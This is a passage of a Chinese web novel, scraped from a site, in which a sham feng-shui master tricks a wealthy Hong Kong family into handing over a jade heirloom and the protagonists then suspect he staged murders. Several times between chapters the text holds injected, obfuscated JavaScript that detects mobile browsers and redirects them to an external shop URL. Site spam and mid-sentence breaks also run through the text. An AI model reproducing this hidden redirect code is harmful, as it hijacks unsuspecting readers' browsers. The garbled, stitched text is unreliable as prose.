0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771294|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满了不耐烦和狐假虎威的得意: “看什么看?都给我让开!别在这里碍着大师作法!沾染了你们身上的晦气耽误了大师施展法力你们担待得起吗?!” 他知道自己这番话无礼至极但他就是想在“大师”面前狠狠地落一下女儿和这群“外人”的面子让大家知道谁在这个家里当家做主。 傅清寒的眼中 寒芒一闪即逝。 陈慕白和赵承熙的脸色,也瞬间沉了下来。 然而,没等他们发作,一直安静地站在傅清寒身旁的白凝凝,却忽然上前一步,脸上不见丝毫怒意,反而带着一抹疏离又淡漠的笑。 她没有去看霍振邦,而是将所有的目光,都集中在了那位“仙风道骨的金山居士身上。她的声音清冷如玉石相击,清晰地响彻在有些安静的现场: “金山居士,久闻大名今日一见,果然仙风道骨。只是我看居士您面色虽红润,但隐有浮躁之气,想必是为我朋友家这桩事,耗费了太多心神。不知居士平日里,都用些什么方法来调养心神、固本培元呢?或许我们中医的一些法子,也能帮上忙。 金山居士心中一凛,他从眼前这个年轻女子那双清澈眼眸,似乎可以洞悉一切,不免感到了一丝压力。但他混迹江湖多年,脸上却不动声色,拂尘一甩,哈哈一笑: “这位是…… 不等自己父亲说话,霍思晴率先站出来,颇有几分维护之意,“是看好承熙的名医,白凝凝。 “白医生,果然是后生可畏,医者仁心。蒙您指点,但贫道修的是心,用的是天地间的浩然正气。心神耗费,打坐调息即可。倒是白医生你,年纪轻轻,身怀六甲,却仍在为俗事奔波,这胎气……可要好生养着啊。 他一番话,轻描淡写地挡回了凝凝的试探,甚至还反过来点出她怀孕之事,似乎带有威胁之意。 一旁的傅清寒,则一言不发。他那双冰冷的、如同鹰隼般的眸子,只是静静地审视着金山居士,让金山居士的后背,没来由地升起一股寒意。 第139章 父女冲突 就在这三方对峙,气氛微妙之际,一个穿着警服、看起来二十出头的年轻警察,忽然从警戒线后挤了过来,似乎想冲过来对傅清寒等人说些什么,但立刻被一个年纪较大的警司一把拉住,厉声训斥道:“**!你疯了!没看到霍先生和署长都在那边吗?你想把我们整个组都害死啊!” **的脸上,充满了不甘和焦急。 霍振邦顾不上理会白凝凝和金山言语间的机锋,转身毕恭毕敬地对金山居士说道:“大师,时间紧迫,还请您立刻施法,救我霍家于水火!” “善。”金山居士微微颔首,他不再看其他人一眼,仿佛他们只是路边的蝼蚁,不值得他多费半点心神。 他从弟子手中接过一个桃木罗盘,迈着一种玄奥的步法,开始绕着“荔湾大厦”缓缓踱步勘察。他时而驻足,手指掐算;时而抬头,望向天际;嘴里还念念有词,说着一些谁也听不懂的“寻龙点穴”的术语。 这番高深莫测的表演,让周围的媒体记者和霍家的董事们都看得目不转睛,敬畏之心油然而生。 只有傅清寒凝凝一行人,冷眼旁观。在他们看来,这不过是一场精心编排的、装神弄鬼的戏剧。 大约一炷香的功夫,金山居士终于停下了脚步。他站在大厦的正门口,脸色变得异常凝重,他长叹一口气,对着霍振邦,摇了摇头。 霍振邦的心,瞬间就沉到了谷底,他急忙上前,声音发颤地问道:“大师,如何?可是……可是此地煞气太重,无法化解?” “非也。”金山居士拂尘一甩,用一种悲天悯人的语气,缓缓说道:“此地原为乱葬之岗,后又经战火洗礼,地底怨气郁结成煞,形成了‘百鬼夜行’的绝煞之局。刚才贫道已用师门秘法,暂时镇住了此地的煞气,保得此地三日平安。” “三日?”霍振邦的脸“刷”地一下就白了,“那三日之后呢?” “三日之后,”金山居士的脸色愈发沉重,“怨气反噬,煞气冲天,到那时……此地将血流成河,寸草不生!甚至会波及整个荔湾区的气运,后果不堪设想!” 这番话,如同惊雷,炸得霍振邦和在场的所有霍家董事们都头晕目眩,两股战战! “那……那可如何是好啊!大师!求您救救我们!救救霍家!” 霍振邦几乎要给金山居士跪下了。 金山居士看着火候差不多了,这才“图穷匕见”。他抚着长须,脸上露出“万般为难”的神色,沉吟许久,才缓缓说道: “解法……倒也不是没有。只是……此法需要一件至阴至柔、历经百年望族血脉温养的‘神物’,作为阵眼,永久**于此地的龙脉之上,方能转化煞气,化绝地为福地,永保平安。” 他顿了顿,目光状似无意地,落在了霍振邦的身上,一字一句地说道: “我观霍先生您家宅气运之中,似乎就藏着这样一件宝物。那是一块凤形古玉,其上灵气氤氲,正是此局……唯一的解法!” “鸾凤佩”! 当金山居士说出这三个字的时候,白凝凝等人的心,猛地一沉! 天底下哪有这么巧的事?眼看霍家就要拿出玉佩作为合作的信物,转过头就有人借施法的名声讨要玉佩? 而霍振邦,在听到还有救时,先是大喜过望,随即又听到需要动用传家之宝,脸上立刻露出了挣扎之色。那毕竟是霍家的根,是祖宗传下来的东西。 就在这时,之前被上司拉住的小警察**,再也忍不住了!他挣脱束缚,冲到警戒线前,对着霍振邦大声喊道:“霍先生!你别信他!他是骗子!我们查到……” “把他给我带走!”他的话还没说完,就被他的上司派人死死捂住嘴,强行拖走了。 而金山居士,则抓住霍振邦犹豫的这一瞬间,再次加了一把火。他用一种极其惋惜的语气说道:“罢了,罢了。传家之宝,事关重大,贫道也能理解。既然霍先生舍不得,那此事便当贫道没提过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771295|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。三日之后,大厦气运反噬,贫道也无力回天,告辞了。” 说着,他转身便要作势离开。 这一招“欲擒故纵”,彻底击溃了霍振邦最后的心理防线! “大师请留步!”他再也顾不得那么多。 鸾凤佩固然是传家之宝,但与整个家族的安危和数百亿的投资相比,一块玉佩又算得了什么?! 他立刻回头,对着身后的管家,近乎咆哮的语气命令道: “快!快回家!把书房保险柜里的那块‘鸾凤佩’给我拿来!快去!” “爸!不要!”霍思晴见状,立刻冲上前去,拦在 父亲面前。“我已经答应了给凝凝他们研究了!” 她知道,一旦玉佩交出去,就再也要不回来了! “我们家的传家宝,你凭什么给外人?”霍振邦死死盯着女儿, “是我们霍家要和凝悦合作,鸾凤玉是我答应的拿出来的信物。他们对霍家有恩!要不是他们,我们差点就被赵宇轩拉下水了!” “有恩?有恩就能给了?现在金山大师也对我们有恩,为什么我不能给?” “因为玉佩也是爷爷说过给我做嫁妆的,你不能拿走!而且……”她回头看金山,声音因为激动而微微颤抖:“这个所谓的大师,我信不过。你看不出来吗?他从头到尾都在装神弄鬼,妖言惑众!他说的话一个字都不能信!” “你的嫁妆?合作?”霍振邦听到这些话,非但没有半点醒悟,反而像是被踩到了最痛的痛处,瞬间暴怒! 他那张因为恐惧而扭曲的脸,涨成了猪肝色。他指着自己的女儿,浑身发抖,“你这个吃里扒外的白眼狼!”他破口大骂,“什么你的嫁妆?!我没答应!那个赵承熙到底给你灌了什么**汤,让你连自己的亲生父亲都不信,反而去信一群外人?!” “啪——!” 一声清脆响亮的耳光,毫无征兆地,狠狠地甩在了霍思晴的脸上! 第140章 太巧了 整个现场,瞬间死寂! 所有人都被这突如其来的一幕惊呆了! 霍思晴被打得一个踉跄,白皙的脸颊上,瞬间浮现出五道清晰的指印。她难以置信地看着自己的父亲,那双倔强的眼睛里,所有的愤怒和失望,最终都化为了深深的的悲凉。 父亲才干平平,这些年都是爷爷带着她管理公司,她知道父亲心里都憋着一股气,但从没想过父亲会对自己动手,更何况是在这众目睽睽之下! 傅清寒的眼中,寒芒一闪,几乎在霍振邦动手的同时,他身后的詹骁就已经如同一头猎豹般,准备冲上前去。但傅清寒只是微微抬手,便制止了他。 这是霍家的家事,现在还不是他们插手的最好时机。 赵承熙的心,则如同被一只无形的大手狠狠攥住,痛得无法呼吸。他看着霍思晴脸上的指印,恨不得立刻冲上去,但他死死地攥着拳,用尽全身的力气,才将自己钉在了原地。他知道,他现在冲上去,只会让霍思晴的处境更难。 而霍振邦,在打出那一巴掌后,非但没有丝毫悔意,多年的憋屈反而像是找到了宣泄口,变得更加歇斯底里! 他指着自己的女儿,对着周围所有的董事和媒体,用一种近乎咆哮的音量,宣示着自己的**: “都给我看清楚了!我霍振邦,才是霍家现在的掌门人!我才是!” “我告诉你们,只要我一天还是霍家的家主,这个家,就轮不到一个女人,更轮不到一群外人来指手画脚!” “爸,你今天打我,不是下了我的面子,是打了霍家的家!让人看到霍家内部的矛盾!” “你!立刻给我闭嘴!滚到一边去!再敢多说一个字,就别怪我不念父女之情!”他恶狠狠地瞪着霍思晴。 说罢便不再看女儿那张写满了悲伤和绝望的脸,转身从刚刚赶回来的管家手中,一把抢过那个沉甸甸的锦盒。 他像是为了向所有人证明自己的权威,当着所有媒体的面,毕恭毕敬地,将锦盒高高举起,递到了金山居士的面前。 “大师!这是我们霍家世代相传的‘鸾凤佩’!霍家上下,全拜托您了!” 金山居士的眼中,闪过一丝难以察觉的、得意的精光,“霍先生,何必动气,女生外向,古来便是如此。” 言语听着客气,却满是挑拨之言。 说罢便伸手,拿起了那个锦盒。 凝凝心头一紧! 但她不能动,傅清寒也不能,他们都不能! 这是霍家的传家宝,又是霍家家主当着全港市媒体的面,众目睽睽之下交出去,他们没有任何立场去“抢”! 一旦动手,他们一行人的名声就全完了,整个港市都被把他们视为抢夺他人家产的“强盗”,事情闹大了,丢的人就不是他们几个了,甚至还会牵扯到内地的脸面!还有傅清寒、陈慕白他们两个的身份,他们难以自处! 霍思晴看着这一幕,眼中满是绝望。明明已经答应过的,现在不仅失信,脸面更是被自己的亲生父亲踩在脚下,让所有人看到霍家的内斗。 她没脸去看赵承熙,也无法面对白凝凝和傅清寒,她夹在固执的父亲和已经许下承诺的朋友之间,里外不是人,只觉得一阵天旋地转。 金山居士接过了锦盒,打开确认无误后,立刻对霍振邦说道:“霍先生,此地阴气过重,不宜久留!贫道需立刻将玉佩带回道场设坛开光七七四十九日,迟则生变!” 说完,他根本不等众人反应,便在霍振邦和一众信徒的簇拥下,转身迅速地朝着自己的车队走去。 金山居士的车队,在霍振邦等人感恩戴德的目送中,扬长而去。 现场只留下一片狼藉,和被推到风口浪尖、难以自持的霍思晴。 “对不起……”她走到主角团面前,声音沙哑,那张一向骄傲的脸上,第一次露出了如此脆弱和愧疚的神情,“我……我没能守住承诺。” 赵承熙看着她脸上的指印,心中一痛,上前一步,脱下自己的西装外套,披在她微微颤抖的肩上,声音里是前所未有的温柔和坚定:“这不怪你。是我没有保护好你。” 白凝凝也走上前,轻轻握住霍思晴冰冷的手,安抚道:“霍小姐,你别自责。玉佩是死物,人是活的。只要人在,东西总有办法拿回来。” 然而,就在她话音刚落的瞬间,一股强烈的眩晕感,毫无征兆地袭来! 她能清晰地感觉到,那股一直与自己遥相呼应、源源不断地滋养着她和腹中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771296|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胎儿的温润灵气,彻底断绝了!体内的灵力因为失去了调和,开始像脱缰的野马一样,在经 脉中横冲直撞。 凝凝眼前一黑身体猛地晃了晃几乎要栽倒在地。 “凝凝!” 一直守在她身旁的傅清寒一个箭步上前及时地将她揽入怀中。他感觉到怀中妻子身体的冰冷和轻微的颤抖那**不变的冰山脸上露出了无法掩饰的慌乱和恐惧。 —— 回到安全屋气氛压抑到了极点。 凝凝被傅清寒安置在沙发上喝了几口他亲手喂的热水脸色才稍稍缓和了一些但眉宇间的倦色却怎么也掩饰不住。 “江湖骗子!这绝对是个老谋深算的江湖骗子!”陈瑶气得在客厅里来回踱步小脸涨得通红“我们都只盯着赵家那群坏蛋了没想到半路杀出这么一个老神棍!还‘活神仙’呢我呸!我看他就是个趁火**的强盗!” 她快人快语地将所有人都没好意思说出口的话全都骂了出来。 苏文赫的脸色也很难看他调出了“金山居士”的所有资料但结果却让人失望:“资料很干净半年前突然出现在港市靠着给几个小富豪看风水起家口碑极好没有任何案底。要么他真是个高人要么……他背后的势力把他的过去抹得一干二净。” “不管他是谁必须立刻把玉佩拿回来!”赵承熙看着凝凝苍白的脸色眼中满是焦急和决断“凝凝的身体等不了!” “我同意。”陈慕白推了推眼镜眼中闪过一丝锐利“他现在躲起来不过是待价而沽。既然是骗子那他图的无非就是‘名’或‘利’。现在‘名’有了该图‘利’了。” “我去跟他谈!凝凝是因为我才到港市的这件事交给我梁美玲他们再挥霍赵家的家底还有一些。我用钱把他手里的玉佩买回来!我就不信 陈瑶也点头“就是一定可以的。”大家似乎都对这个提议很有信心。 只有傅清寒没有说话。他正半蹲在凝凝面前用他那温热的大手轻轻地覆盖在凝凝的小腹上神情专注而又紧张仿佛在用自己的体温去温暖安抚那个躁动不安的小生命。 他抬起头那双深邃的黑眸里是前所未有的凝重。 太巧了。 所有的事情都发生得太巧了。 第141章 被扣上大帽子 从“荔湾鬼楼”的爆发,到这个“金山居士”的出现,再到他精准地提出拿“鸾凤佩”来压阵……这一切,都像是一场精心编排的戏剧,每一个环节都严丝合缝,目的性极强——就是为了那块玉佩。 如果只是为了钱,以这个“大师”现在的名气,有的是富豪排着队给他送钱,根本用不着搞这么大的阵仗,甚至不惜得罪霍家和他们这群人。 他图的,恐怕不仅仅是钱。 但这个疑虑,只在他心里一闪而过。眼下,陈慕白的提议确实是唯一的突破口。不管行不行,总是要去看看,起码也要探听虚实。 他抬起头,沉声说道:“你们去谈。记住,我们的底线是拿回玉佩,其他的都可以让步。但要做好最坏的打算。” 他又看了一眼怀中虚弱的凝凝,补充道:“我留下照顾凝凝。有任何情况,随时联系。” 陈慕白和赵承熙都明白,凝凝的安危此刻就是傅清寒的逆鳞,是比任何事都重要的头等大事。两人重重地点了点头。 —— 在苏家强大的情报网下,“金山居士”的落脚点很快就被锁定了——一处位于浅水湾、安保极其严密的半山私人别墅。 第二天,陈慕白和赵承熙,代表主角团,带着一份足以让任何人都动心的“厚礼”,前去“拜访”。 会所顶层的禅室里,檀香袅袅。 金山居士穿着一身宽松的白色麻布僧袍,盘腿坐在蒲团上,面前摆着一套紫砂茶具,神情悲天悯人,一派世外高人的模样。 陈慕白和赵承熙则西装革履,坐在他对面,精英范儿十足。两种截然不同的气场,在小小的禅室里,进行着无声的碰撞。 “两位施主,今日前来,所为何事?”白石为两人斟上茶,声音平淡,仿佛早已洞悉一切。 “大师,明人不说暗话。”赵承熙开门见山,他从口袋里掏出一张早已签好字的瑞士银行本票,轻轻地推到了白石面前。 “一个亿。”他看着金山的眼睛,语气平静,“港币。我们只要那块‘鸾凤佩’。大师开坛作法,耗费心神,这一个亿,就当是我们的一点心意,为大师的清修,添些香火钱。” 一个亿! 陈慕白在旁边听着,都忍不住心头一跳。这个价格,足以 买下港市好几栋豪宅了!眼前这个“大师”如果图财不可能抵挡得住! 然而和他们想的不一样金山只是淡淡地瞥了一眼那张足以让普通人疯狂的支票脸上非但没有丝毫动心反而露出了一抹“悲悯”的、近乎失望的神情。 他缓缓地摇了摇头长叹一声。 “唉……” “两位施主你们还是不懂啊。” 他将那张支票又轻轻地推了回去语气里充满了“恨铁不成钢”的惋惜: “贫道若为钱财又何须等到今日?港市之内愿为贫道一掷千金者不知凡几。” 他站起身走到窗边负手而立望着窗外维多利亚港的景色仿佛在悲悯众生缓缓说道: “那‘荔湾大厦’乃是港岛龙脉的一处重要气眼。如今煞气郁结若不用‘鸾凤佩’这等神物**一旦反噬轻则荔湾区永无宁日重则波及整个港岛的气运到那时瘟疫横行百业凋敝将是一场浩劫!” 他猛地转过身目光灼灼地看着陈慕白和赵承熙脸上充满了“大义凛然”的神圣光辉: “那玉佩现在已经不是霍家一家的私产了!它关系到的是整个港市数百万苍生的福祉!贫道受霍家所托将此神物镇于龙脉之上乃是顺应天道为港市消灾解厄!” “你们现在却想用区区一个亿的黄白之物来换取这数百万人的安危?” 他的声音陡然拔高充满了痛心疾首的质问和道德上的谴责: “为了你们一己之私就要将整个港市的未来置于万劫不复的境地吗?!” “两位施主这块玉佩贫道不是不能给你们。但是……”他一字一顿每一个字都像重锤一样 说的域名caixs?(请来才小 说 看最新章节 完整章节)狠狠地砸在陈慕白和赵承熙的心上“你们……担得起这滔天的因果吗?!你们……对得起这港市的百万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771297|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苍生吗?!” 说完他拂尘一甩闭上双眼嘴里开始念念有词仿佛再也不屑与这两个“被私利蒙蔽了双眼”的凡夫俗子多说一句话。 禅室里一片死寂。 陈慕白和赵承熙彻底愣住了。 他们准备了无数的谈判技巧预想了对方可能会坐地起价的各种情况却唯独没有想到对方竟然会用这种方式给他们套上如此巨 大、如此沉重的“道德枷锁! 他们现在才明白,这不是一场可以用钱解决的商业谈判! 这是阴谋!一场彻头彻尾的、用“**和“道德来**他们的阴谋! 他们现在如果强行去抢夺玉佩,就等于是在与“整个港市的安危为敌!他们将从“受害者,瞬间变成“为了私利不顾苍生福祉的恶人! 这顶帽子,他们戴不起!陈慕白戴不起!傅清寒戴不起!他们背后的整个内地,更戴不起! 谈判,彻底破裂! 就在陈慕白和赵承熙脸色铁青地走出别墅的同时,苏文赫的电话也打了进来,声音里充满了前所未有的凝重: “慕白!谈判怎么样了? “失败了。 说更新,记住域名caixs?(请来才小 说 看最新章节 完整章节)陈慕白的声音里充满了挫败感,“这个老狐狸,根本不是为了钱!他用整个港市的安危来**我们,我们被他扣上了一顶‘不顾苍生福祉’的大帽子,动弹不得! 电话那头的苏文赫,声音也变得异常凝重: “……我这里,也有一个更坏的消息。 “就在你们去谈判的这两个小时里,港市所有主流媒体,都收到了一份‘金山居士’的亲笔声明!声明里,他痛斥了有‘内地过江龙’想用重金收买他,拿走‘**港市气运的神物’!现在,外面的**已经彻底炸了!所有人都把我们当成了不顾港市死活的‘灾星’! 陈慕白和赵承熙对视一眼,都从对方眼中看到了震惊和愤怒! 这个老狐狸,竟然倒打一耙! 第142章 关心则乱 “而且……”苏文赫的声音里带上了一丝绝望,“最要命的是,自从那天之后,到今天为止,整整三天了!‘荔湾大厦’,真的再也没有发生过任何一起命案!所有人都把这当成了‘神迹’!那个‘金山居士’,现在已经被媒体和市民,捧成了‘活神仙’!我们现在如果再对他动手,就是跟全港市的**为敌!” 陈慕白挂了电话,只觉得一阵天旋地转。 他们,被一张由“**”和“道德”编织成的无形大网,给彻底困住了! 而此时,安全屋别墅里。 傅清寒正陪在凝凝身边,亲自为她熬制安神的汤药。这几天,凝凝的身体状况时好时坏,虽然还能勉强维持,但嗜睡和眩晕的症状却越来越明显。 他看着妻子那日渐苍白的脸,心中那股压抑的杀意,几乎要破体而出! 就在这时,陈慕白和赵承熙带着一身寒气和满脸的挫败感,回来了。 当傅清寒听完谈判的结果和外界的**后,他那张冰封的脸上,没有任何意外的表情,反而露出了一丝“果然如此”的了然。 他缓缓地站起身,走到巨大的落地窗前,看着窗外那璀璨的、却暗流涌动的港市夜景,声音冰冷得如同西伯利亚的寒风: “他根本就没想过要跟我们谈判。” “他从一开始,就是要用这块玉佩,把我们所有人都架在火上烤。” “他要的,不是钱。”傅清寒缓缓转过身,那双深邃的眼眸里,闪烁着洞悉一切的寒光,“他要的,是凝凝的命。” “现在,既然他不肯谈,”他拿起外套,那身冰冷肃杀的气势,再次回到了他身上:“那就没必要再讲什么规矩了。” 他看也没看身后的詹骁,下达了最后的命令: “通知下去,今晚,行动。” “站住!” 就在傅清寒一身煞气,即将踏出别墅大门的那一刻,一个虚弱的声音,从他身后传来。 是白凝凝。 她扶着沙发扶手,缓缓地站起身,脸色虽然苍白,但那双清亮的眸子,却异常坚定。 “清寒,你不能去。” 傅清寒转过身,看着自己的妻子,眼中那几乎要凝成实质的杀意,瞬间化为了心疼和不解:“凝凝,玉佩必 须拿回来。你的身体……不能等了。 “我的身体,我比你清楚,还不到那一步。凝凝打断了他,她一步步地走到他面前,伸出微凉的手,轻轻地抚平了他眉间那紧锁的川字纹。 她的声音不大,却像一剂镇定剂,瞬间安抚了傅清寒那即将暴走的理智。 “你现在去,是去抢,还是去杀?她直视着他的眼睛,一字一句地问道,“金山居士现在是全港市的‘活神仙’,你动了他,就是与全港市为敌。傅清寒,你代表的,不仅仅是你自己。这件事一旦处理不好,你背后的整个傅家,慕白哥的陈家,都会被扣上‘强取豪夺、欺压港人’的帽子,还会有人拿我们内地人的身份做文章,到时候事情就大了。这个责任,你担不起,谁都担不起。 “你这么多年的风餐露宿,保家卫国,所有的努力和坚守,都会因为今晚的冲动而毁于一旦。我不能让你为了我,冒这个险。 傅清寒站在原地,看着妻子那双清澈而又坚定的眼睛,心中那股几乎要破体而出的狂躁杀意,如同被注入了一剂强效镇定剂,缓缓地平息了下来。 是啊,他乱了。 自从得知凝凝的身体状况与“鸾凤佩息息相关后,他就乱了方寸。他满脑子想的,都是如何用最快、最直接的方式,将那块玉佩夺回来,消除对妻子的所有潜在威胁。他甚至不惜动用最极端的手段,不计任何后果。 凝凝轻轻握住他那因为用力而指节泛白的大手,柔声说道:“清寒,我知道你担心我。但越是这个时候,我们越要冷静。那个金山居士,他把我们架在火上烤,就是想逼我们犯错。我们一旦乱了,就正中他的下怀。 傅清寒反手将她柔软的小手紧紧包裹在掌心,深吸一口气,眼中的猩红和暴戾缓缓褪去,重新恢复了那种深不见底的、如同寒潭般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771298|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的冷静。 他闭上眼,在脑海中飞速地复盘着整件事的来龙去脉。 “荔湾鬼楼……“离奇命案……“金山居士……“鸾凤佩…… 忽然,他猛地睁开双眼,一道锐利如刀锋的精光,从他眼中一闪而过! “不对!他沉声说道,声音里带着一种拨开云雾见青天的通透,“我们都想错了! 他松开凝凝的手,走到那张巨大的港市地 图前,目光在“荔湾中心”和“浅水湾会所”两个地点之间来回移动。 “之前我们只觉得这是金山居士个江湖骗子,但慕白他们上门送钱无功而返,他不是为了钱,那他图什么?”傅清寒的声音,让房间里的所有人都精神一振。 陈慕白立刻接口道:“为了‘名’?他现在已经是全港市的‘活神仙’了,名声已经到了顶点。” 傅清寒缓缓转身,目光扫过众人,一字一句地说道,“如果他费尽心机,布局**,倒打一耙,将我们逼入绝境……所有的一切,都只是为了那块‘鸾凤佩’本身呢?” 陈慕白和赵承熙都看了过来。 傅清寒走到那张巨大的港市地图前,手指重重地点在了“荔湾中心”那个红色的标记上,声音冰冷而又笃定: “我们一直被他所谓的‘风水’、‘气运’牵着鼻子走,思考着如何从‘玄学’的角度去破局。但就像凝凝说的,如果这个‘金山居士’是个骗子,如果这一切都是他布的局,那他的目的,从始至终就只有一个——‘鸾凤佩’。” 他转过身,目光如利剑般扫过众人:“既然是为了玉佩而布的局,那么,为了让这个局看起来更真实、更有说服力,他就必须制造出让霍家、让全港市都感到恐慌的‘事件’。” 陈慕白:“为了达成这个目标,他必须创造一个让霍家“心甘情愿”交出玉佩的理由。” “所以……那三条人命,”傅清寒的声音里,不带一丝感情,“就不是什么‘邪气索命’的牺牲品,而是他为了达成目的,人为制造的**案!” 第143章 调查命案 这句话如同一道惊雷,在所有人脑海中炸响! 是啊!他们都被那层“玄学”的外衣给迷惑了!如果剥开这层外衣,核心就是——所谓的“离奇死亡”,就根本不是什么“邪气索命”,而是蓄意**! 赵承熙:“所以……我们不应该去跟那个老神棍纠缠,而是应该从这三起命案入手?!” “没错!”傅清寒重重地点头,“只要我们能证明那三个人是他杀,那所谓的‘鬼楼’、‘天谴’就不攻自破!那个‘金山居士’,也将从一个救苦救难的‘活神仙’,变成一个为了骗取财物而草菅人命的、丧心病狂的**凶手!” “到那时,**会瞬间反转!我们再对他动手,就不是‘强抢神物’,而是‘替天行道、为民除害’!霍家被骗走的‘鸾凤佩’,也必须物归原主!” 整个思路,瞬间就被打通了! 陈慕白的眼中也爆发出兴奋的光芒:“这才是真正的釜底抽薪!只要坐实了他**凶手的身份,他之前所有的布局和道德**,都会变成一个天大的笑话!” 整个房间的空气似乎瞬间都活了起来! 傅清寒立刻开始部署:“文赫,立刻去查那三名死者的社会关系、财务状况、最近的通话记录,所有的一切!我不相信三个毫无关联的人会凭空‘**’!他们之间一定有某种我们没发现的联系!” “明白!”苏文赫立刻转身出去安排。 傅清寒把目光投向陈慕白:“慕白、承熙,我们一起去警局一趟,本地辖区出了这么大的事,他们难道一点都无动于衷?我们去看看是什么反应。” —— 西九龙总区警署,会议室。 气氛压抑得几乎能滴出水来。 傅清寒、陈慕白和以“赵氏集团新任总裁”身份出席的赵承熙,坐在会议桌的一侧。而另一侧,则是以副署长周启华为首的一众警署高层。 周启华脸上堆着职业化无可挑剔的笑容,亲自为傅清寒倒上一杯茶。 他当然知道眼前这位傅先生是内地来的大人物,背景通天。但在港市这片地界上,过江龙也得守这里的规矩。 “傅先生,”他故意没有称呼傅清寒的军衔,只用了一个模糊的称呼,语气热情,却带着一丝不易察觉的疏离,“ 您大驾光临真是让我们警署蓬荜生辉。关于‘荔湾中心’的案子我们绝对是高度重视一定全力配合您的……关心。” 傅清寒没有碰那杯茶他深知自己内地的身份在这里不仅不是助力反而是一种限制任何过度的施压都会被解读为“干预港市内部事务”。他今天来只是为了确认一件事。 他将一份文件不轻不重地推到了桌子中央声音冰冷不带一丝感情: “我不是来‘关心’的我是以‘荔湾中心’未来商业合作伙伴的受害者家属代表——赵承熙先生的法律顾问身份要求重开调查。” “第一调阅三名死者的完整尸检报告和现场所有勘察记录;第二传唤所有当天在场的相关人员包括霍家的员工和你们警署的出警人员;第三对‘荔湾大厦’进行新一轮的、由我的人主导的现场勘察。” 他的要求清晰直接。 周启华脸上的笑容微微一僵他看了一眼那份文件眼中闪过一丝慌乱但很快又被那副油滑的官腔所掩盖。他故作为难地叹了口气开始了他早已准备好的说辞: 他故作为难地叹了口气:“傅部长您的心情我们非常理解。只是……您也知道我们港市的司法程序是非常严谨的。” “尸检报告已经由法医签字归档 “当天的监控录像也因为大厦内部装修线路短路意外损毁了实在可惜。” “至于传唤相关人员……唉傅部长您有所不知啊出了这种‘不干净’的事工人们都吓坏了不是辞职回了乡下就是躲起来不敢见人。我们也在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771299|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽力寻找但您知道港市这么大找几个人实在是大海捞针啊。” 他一番话说得滴水不漏将所有问题都归结于“程序”、“意外”和“困难”将自己撇得一干二净。 会议室里一片死寂。 苏文赫和赵承熙的脸色已经阴沉得快要滴出水来。他们没想到对方竟然能把官僚主义的“太极推手”玩得如此炉火纯青。 然而傅清寒的脸上却没有丝毫的意外或愤怒。 这个副署长越是这样说明这潭水越深。 他静静地听完周启华所有的表演,然后,缓缓地站起了身。 他甚至没有再看周启华一眼,只是整理了一下自己那身一丝不苟的风衣,转身,对着身旁的陈慕白和赵承熙,淡淡地扔下两个字: “我们走。 干脆利落,没有一句多余的废话。 “哎?傅先生,赵先生……周启华愣住了,他准备了一肚子的说辞还没用上呢,对方怎么就走了? 傅清寒一行人,头也不回地走出了会议室。那决绝的姿态,仿佛多待一秒钟,都是在浪费生命。 